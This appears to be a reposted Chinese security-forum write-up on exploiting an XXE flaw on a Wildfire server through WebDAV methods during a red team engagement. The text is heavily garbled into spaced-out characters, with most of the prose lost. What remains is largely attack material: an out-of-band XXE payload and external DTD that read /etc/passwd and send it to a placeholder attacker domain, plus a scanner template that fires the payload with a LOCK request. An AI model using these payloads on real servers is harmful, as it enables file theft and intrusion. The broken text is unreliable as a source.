[20519] 2021-02-20_在Wildfire上利用XXE

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2021-02-20_在Wildfire上利用XXE W i l d f i r e X X E G e e k   F r e a k   K h a n   2 0 2 1 - 0 2 - 2 0                 H T T P R e d   T e a m i n g   E n g a g e m e n t X X E P r o d u c t   B a s e d   C o m p a n y                 W e b   / O S I N T
                  W e b 便 W e b D e e p   /   D a r k   W e b   E x p o s u r e : ( 1 使 使 B u r p   S u i t e 2 使 使 O P T I O N S H T T P G E T 3 l o g i n . j s p H T T P
P R O P P A T C H , P R O P F I N D , L O C K H T T P X M L 4 P U T 4 0 3   f o r b i d d e n   e r r o r L O C K X M L O O B - X X E X M L 使
5 使 使 O O B - X X E H T T P D N S 6 O u t - O f - B a n d   X X E                 D T D W e b 使 W e b y o u r d o m a i n n a m e . c o m I P e x p l o i t e d . d t d e x p l o i t e d . d t d < ! D O C T Y P E   t e s t   [ < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / y o u r i p a d d r e s s . c o m " >   % x x e ;   ] >
U R L 7 s s h 访 访 < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   e x t   " < ! E N T I T Y   e x f i l   S Y S T E M   ' f i l e : / / / % f i l e ; ' > " > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   f o o   [ < ! E L E M E N T   f o o   A N Y > < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / y o u r d o m a i n n a m e . c o m / e x p l o i t d . d t d " > % x x e ; % e x t ; ] > < f o o > < u > & e x f i l ; < / u > < / f o o >
O O B - X X E i d :   X X E   o n   X X X X   L o g i n i n f o :     n a m e :   X M L   E x t e r n a l   E n t i t y - X X X X     a u t h o r :   d h i y a n e s h D k     s e v e r i t y :   h i g h r e q u e s t s :     -   r a w :               -   |                 L O C K   / x x x x / t e s t   H T T P / 1 . 1                 H o s t :                   U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 6 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 8 . 0                 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8                 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5                 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e                 C o n n e c t i o n :   c l o s e                 U p g r a d e - I n s e c u r e - R e q u e s t s :   1                 C a c h e - C o n t r o l :   m a x - a g e = 0
3 6 + X X E                 C o n t e n t - L e n g t h :   1 7 8                 < ? x m l   v e r s i o n = " 1 . 0 " ? >                 < ! D O C T Y P E   f o o   [                 < ! E L E M E N T   f o o   A N Y >                 < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / y o u r d o m a i n n a m e . c o m / e x p l o i t d . d t d " >                 % x x e ;                 % e x t ;                 ] >                 < f o o > < u >                 & e x f i l                 < / u > < / f o o >         m a t c h e r s - c o n d i t i o n :   a n d         m a t c h e r s :             -   t y p e :   s t a t u s                 s t a t u s :                     -   5 0 0             -   t y p e :   w o r d                 w o r d s :                     -   ' / r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h '                 p a r t :   b o d y
  X X E 使 X M L 访
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则